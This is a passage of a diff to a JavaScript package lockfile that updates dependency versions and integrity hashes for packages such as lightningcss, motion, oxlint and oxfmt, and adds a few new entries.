"sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g=="], + "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], - "launch-editor": ["launch-editor@2.12.0", "", { "dependencies": { "picocolors": "^1.1.1", "shell-quote": "^1.8.3" } }, "sha512-giOHXoOtifjdHqUamwKq6c49GzBdLjvxrd2D+Q4V6uOHopJv7p9VJxikDsQ/CBXZbEITgUqSVHXLTG3VhPP1Dg=="], + "launch-editor": ["launch-editor@2.14.1", "", { "dependencies": { "picocolors": "^1.1.1", "shell-quote": "^1.8.4" } }, "sha512-QWBrQsMpH7gPr965dsKD/3cKWiNoTjpATQf++Xq63N6sKRGMwlVXz41O1IZTMfZQgBctD/K5Zt06+/I6pP6+HA=="], - "lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcss-win32-arm64-msvc": "1.32.0", "lightningcss-win32-x64-msvc": "1.32.0" } }, "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ=="], + "lightningcss": ["lightningcss@1.33.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.33.0", "lightningcss-darwin-arm64": "1.33.0", "lightningcss-darwin-x64": "1.33.0", "lightningcss-freebsd-x64": "1.33.0", "lightningcss-linux-arm-gnueabihf": "1.33.0", "lightningcss-linux-arm64-gnu": "1.33.0", "lightningcss-linux-arm64-musl": "1.33.0", "lightningcss-linux-x64-gnu": "1.33.0", "lightningcss-linux-x64-musl": "1.33.0", "lightningcss-win32-arm64-msvc": "1.33.0", "lightningcss-win32-x64-msvc": "1.33.0" } }, "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA=="], - "lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="], + "lightningcss-android-arm64": ["lightningcss-android-arm64@1.33.0", "", { "os": "android", "cpu": "arm64" }, "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg=="], - "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.32.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="], + "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.33.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg=="], - "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.32.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="], + "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.33.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ=="], - "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.32.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="], + "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.33.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg=="], - "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.32.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="], + "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.33.0", "", { "os": "linux", "cpu": "arm" }, "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ=="], - "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="], + "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.33.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg=="], - "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="], + "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.33.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ=="], - "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="], + "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.33.0", "", { "os": "linux", "cpu": "x64" }, "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg=="], - "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="], + "lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.33.0", "", { "os": "linux", "cpu": "x64" }, "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw=="], - "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.32.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="], + "lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.33.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA=="], - "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], + "lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.33.0", "", { "os": "win32", "cpu": "x64" }, "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA=="], "lodash": ["lodash@4.18.1", "", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="], @@ -904,9 +884,9 @@ "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "lucide-react": ["lucide-react@1.21.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-reEZMXq8Qdd5jg5XYkQ5TR1fB/GiQ7ih4vcrthYDtgjSDwh0i6/YLiGjsWsIwgN49gpAnd4J2elSNzncMEEUUQ=="], + "lucide-react": ["lucide-react@1.37.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-LPsB4rD1TD6wZu1djKOf9vUnS1jTNaHbolXebXDgiTdb6jeA1agIJhJsIybCmjKmQClcOaal1o1OaiYahEftyQ=="], - "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], + "magic-string": ["magic-string@1.2.3", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-Bpb0W2TbLKOZ7vJnOUnVRGq3WL2p+ISV29M6hYPL1AFCpyKZpdr5ytiXoTSSxRVhg8YW7f65+6gbG8WG6PCa/g=="], "markdown-extensions": ["markdown-extensions@2.0.0", "", {}, "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q=="], @@ -914,7 +894,7 @@ "mdast-util-find-and-replace": ["mdast-util-find-and-replace@3.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "escape-string-regexp": "^5.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg=="], - "mdast-util-from-markdown": ["mdast-util-from-markdown@2.0.2", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "mdast-util-to-string": "^4.0.0", "micromark": "^4.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA=="], + "mdast-util-from-markdown": ["mdast-util-from-markdown@2.0.3", "", { "dependencies": { "@types/mdast": "^4.0.0", "@types/unist": "^3.0.0", "decode-named-character-reference": "^1.0.0", "devlop": "^1.0.0", "mdast-util-to-string": "^4.0.0", "micromark": "^4.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-symbol": "^2.0.0", "micromark-util-types": "^2.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q=="], "mdast-util-gfm": ["mdast-util-gfm@3.1.0", "", { "dependencies": { "mdast-util-from-markdown": "^2.0.0", "mdast-util-gfm-autolink-literal": "^2.0.0", "mdast-util-gfm-footnote": "^2.0.0", "mdast-util-gfm-strikethrough": "^2.0.0", "mdast-util-gfm-table": "^2.0.0", "mdast-util-gfm-task-list-item": "^2.0.0", "mdast-util-to-markdown": "^2.0.0" } }, "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ=="], @@ -1022,32 +1002,36 @@ "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], - "minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + "minimatch": ["minimatch@10.2.6", "", { "dependencies": { "brace-expansion": "^5.0.8" } }, "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A=="], "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="], - "motion": ["motion@12.42.0", "", { "dependencies": { "framer-motion": "^12.42.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Qhwvu9sVl5/URSq5CNzwMCpSKK8Uhnrwb6VO977kZyj/wOCS7mWebJUnBoHx5cZU1Zv8a9BD5CSICWKAlrLJgA=="], + "motion": ["motion@13.1.1", "", { "dependencies": { "framer-motion": "^13.1.1", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-WNZoK6xiF+kkTqkZ5K7FDDh6A8BG4i5Hc7KXtW8gtTxkpJFds+hIOrDaQGKjQj/AE/i4hJqAaUHEqp/Qo02y6Q=="], - "motion-dom": ["motion-dom@12.42.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-M63h4n8R+quJdNhBwuLlgxM+OLYa9+I/T2pzDRboB9fLXRdbou+Gw7Zury+SkpaCyACP1JHSjHgZ1EgTkBr30w=="], + "motion-dom": ["motion-dom@13.1.1", "", { "dependencies": { "motion-utils": "^13.0.0" } }, "sha512-XSf8VYWSB6G/0IY3rWVbyLcxWXtAVHkN1PQE2agTaCv3u8RGvbwu56TyyR/MNzBqqNavEBTZzErcxI1TxBrjcA=="], - "motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="], + "motion-utils": ["motion-utils@13.0.0", "", {}, "sha512-7DnN7TmbLcYXcG4RVadXIihWlyuM9afoUww8Y5Agg431kGKiuL2/OMyP4mJ5wLz+pvN3t5ySClLOaVXJ+wekRQ=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], - "nanoid": ["nanoid@3.3.12", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ=="], + "nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="], "negotiator": ["negotiator@0.6.4", "", {}, "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w=="], "next-themes": ["next-themes@0.4.6", "", { "peerDependencies": { "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc", "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc" } }, "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA=="], - "node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], + "node-releases": ["node-releases@2.0.54", "", {}, "sha512-YHs7BmmcsdAI5Ozuf8JZo6PT0mv2GIWC9vMfvUC3dp65M8hn7Ux8CPL+2oBI7juNuj9d0ndhTcznq2ODBps9cQ=="], "npm-run-path": ["npm-run-path@4.0.1", "", { "dependencies": { "path-key": "^3.0.0" } }, "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw=="], + "npm-to-yarn": ["npm-to-yarn@3.2.0", "", {}, "sha512-K1HmQeZT2HrjpsR6KgqbN2FAXL2NrJJmNUSD9ck7HGTVu1JKXox8n9SB+tjbU8m8JGLF4OscrroPepew/L7/Xw=="], + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + "obug": ["obug@2.1.4", "", {}, "sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA=="], + "on-headers": ["on-headers@1.1.0", "", {}, "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A=="], "onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], @@ -1056,11 +1040,11 @@ "oniguruma-to-es": ["oniguruma-to-es@4.3.6", "", { "dependencies": { "oniguruma-parser": "^0.12.2", "regex": "^6.1.0", "regex-recursion": "^6.0.2" } }, "sha512-csuQ9x3Yr0cEIs/Zgx/OEt9iBw9vqIunAPQkx19R/fiMq2oGVTgcMqO/V3Ybqefr1TBvosI6jU539ksaBULJyA=="], - "oxfmt": ["oxfmt@0.56.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.56.0", "@oxfmt/binding-android-arm64": "0.56.0", "@oxfmt/binding-darwin-arm64": "0.56.0", "@oxfmt/binding-darwin-x64": "0.56.0", "@oxfmt/binding-freebsd-x64": "0.56.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.56.0", "@oxfmt/binding-linux-arm-musleabihf": "0.56.0", "@oxfmt/binding-linux-arm64-gnu": "0.56.0", "@oxfmt/binding-linux-arm64-musl": "0.56.0", "@oxfmt/binding-linux-ppc64-gnu": "0.56.0", "@oxfmt/binding-linux-riscv64-gnu": "0.56.0", "@oxfmt/binding-linux-riscv64-musl": "0.56.0", "@oxfmt/binding-linux-s390x-gnu": "0.56.0", "@oxfmt/binding-linux-x64-gnu": "0.56.0", "@oxfmt/binding-linux-x64-musl": "0.56.0", "@oxfmt/binding-openharmony-arm64": "0.56.0", "@oxfmt/binding-win32-arm64-msvc": "0.56.0", "@oxfmt/binding-win32-ia32-msvc": "0.56.0", "@oxfmt/binding-win32-x64-msvc": "0.56.0" }, "peerDependencies": { "svelte": "^5.0.0", "vite-plus": "*" }, "optionalPeers": ["svelte", "vite-plus"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-9Dv0wV3zKiyvhjD7bRKaInKmHQ1sPx3RGOjQkGFJbbdQ16576yf8qhMSO9Q9cvHcs+1NpBsRTkuDDYFFPTJ6gw=="], + "oxfmt": ["oxfmt@0.65.0", "", { "dependencies": { "tinypool": "2.1.0" }, "optionalDependencies": { "@oxfmt/binding-android-arm-eabi": "0.65.0", "@oxfmt/binding-android-arm64": "0.65.0", "@oxfmt/binding-darwin-arm64": "0.65.0", "@oxfmt/binding-darwin-x64": "0.65.0", "@oxfmt/binding-freebsd-x64": "0.65.0", "@oxfmt/binding-linux-arm-gnueabihf": "0.65.0", "@oxfmt/binding-linux-arm-musleabihf": "0.65.0", "@oxfmt/binding-linux-arm64-gnu": "0.65.0", "@oxfmt/binding-linux-arm64-musl": "0.65.0", "@oxfmt/binding-linux-ppc64-gnu": "0.65.0", "@oxfmt/binding-linux-riscv64-gnu": "0.65.0", "@oxfmt/binding-linux-riscv64-musl": "0.65.0", "@oxfmt/binding-linux-s390x-gnu": "0.65.0", "@oxfmt/binding-linux-x64-gnu": "0.65.0", "@oxfmt/binding-linux-x64-musl": "0.65.0", "@oxfmt/binding-openharmony-arm64": "0.65.0", "@oxfmt/binding-win32-arm64-msvc": "0.65.0", "@oxfmt/binding-win32-ia32-msvc": "0.65.0", "@oxfmt/binding-win32-x64-msvc": "0.65.0" }, "peerDependencies": { "svelte": "^5.0.0", "vite-plus": "*" }, "optionalPeers": ["svelte", "vite-plus"], "bin": { "oxfmt": "bin/oxfmt" } }, "sha512-SgS5VgnP42T0zl3zWD+xoH8FCqg1SAFnSRoOT/qeoa6gxcYIqrDMOmcXIg/EWSN92Du4ogB4riuKhKd6Y4CGhw=="], - "oxlint": ["oxlint@1.71.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.71.0", "@oxlint/binding-android-arm64": "1.71.0", "@oxlint/binding-darwin-arm64": "1.71.0", "@oxlint/binding-darwin-x64": "1.71.0", "@oxlint/binding-freebsd-x64": "1.71.0", "@oxlint/binding-linux-arm-gnueabihf": "1.71.0", "@oxlint/binding-linux-arm-musleabihf": "1.71.0", "@oxlint/binding-linux-arm64-gnu": "1.71.0", "@oxlint/binding-linux-arm64-musl": "1.71.0", "@oxlint/binding-linux-ppc64-gnu": "1.71.0", "@oxlint/binding-linux-riscv64-gnu": "1.71.0", "@oxlint/binding-linux-riscv64-musl": "1.71.0", "@oxlint/binding-linux-s390x-gnu": "1.71.0", "@oxlint/binding-linux-x64-gnu": "1.71.0", "@oxlint/binding-linux-x64-musl": "1.71.0", "@oxlint/binding-openharmony-arm64": "1.71.0", "@oxlint/binding-win32-arm64-msvc": "1.71.0", "@oxlint/binding-win32-ia32-msvc": "1.71.0", "@oxlint/binding-win32-x64-msvc": "1.71.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.22.1", "vite-plus": "*" }, "optionalPeers": ["oxlint-tsgolint", "vite-plus"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-U1m1X+C0vDj7DC1e13IoZULzEcPczE7UOMTs8VlZGHUEIUaSTZKo5qkPsQEfzpgnQ29Pea/w3Xntk62UCecxZw=="], + "oxlint": ["oxlint@1.80.0", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.80.0", "@oxlint/binding-android-arm64": "1.80.0", "@oxlint/binding-darwin-arm64": "1.80.0", "@oxlint/binding-darwin-x64": "1.80.0", "@oxlint/binding-freebsd-x64": "1.80.0", "@oxlint/binding-linux-arm-gnueabihf": "1.80.0", "@oxlint/binding-linux-arm-musleabihf": "1.80.0", "@oxlint/binding-linux-arm64-gnu": "1.80.0", "@oxlint/binding-linux-arm64-musl": "1.80.0", "@oxlint/binding-linux-ppc64-gnu": "1.80.0", "@oxlint/binding-linux-riscv64-gnu": "1.80.0", "@oxlint/binding-linux-riscv64-musl": "1.80.0", "@oxlint/binding-linux-s390x-gnu": "1.80.0", "@oxlint/binding-linux-x64-gnu": "1.80.0", "@oxlint/binding-linux-x64-musl": "1.80.0", "@oxlint/binding-openharmony-arm64": "1.80.0", "@oxlint/binding-win32-arm64-msvc": "1.80.0", "@oxlint/binding-win32-ia32-msvc": "1.80.0", "@oxlint/binding-win32-x64-msvc": "1.80.0" }, "peerDependencies": { "oxlint-tsgolint": ">=7.0.2001", "vite-plus": "*" }, "optionalPeers": ["oxlint-tsgolint", "vite-plus"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-5nTiSps4qdbCWLbxzuO00alHkEO2exR9YMN/ig6QXWrLsYSG0KaObOAM+l6oU2LcKPWoSAGYbkZIGEu1ViiWKA=="], - "p-map": ["p-map@7.0.4", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="], + "p-map": ["p-map@7.0.7", "", {}, "sha512-VaWRu2i4FJNRtiRWCuuQRgfQ1B7a6+gMSrO+3j0EQi/k0ULfS9kosRxGoiqwzIjZTDI02tGfk5mXXltLg6QtfQ=="], "package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="], @@ -1076,17 +1060,15 @@ "path-to-regexp": ["path-to-regexp@3.3.0", "", {}, "sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw=="], - "pathe": ["pathe@1.1.2", "", {}, "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ=="], + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], - "picomatch": ["picomatch@4.0.4", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="], + "picomatch": ["picomatch@4.0.7", "", {}, "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA=="], "pkg-types": ["pkg-types@2.3.1", "", { "dependencies": { "confbox": "^0.2.4", "exsolve": "^1.0.8", "pathe": "^2.0.3" } }, "sha512-y+ichcgc2LrADuhLNAx8DFjVfgz91pRxfZdI3UDhxHvcVEZsenLO+7XaU5vOp0u/7V/wZ+plyuQxtrDlZJ+yeg=="], - "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": 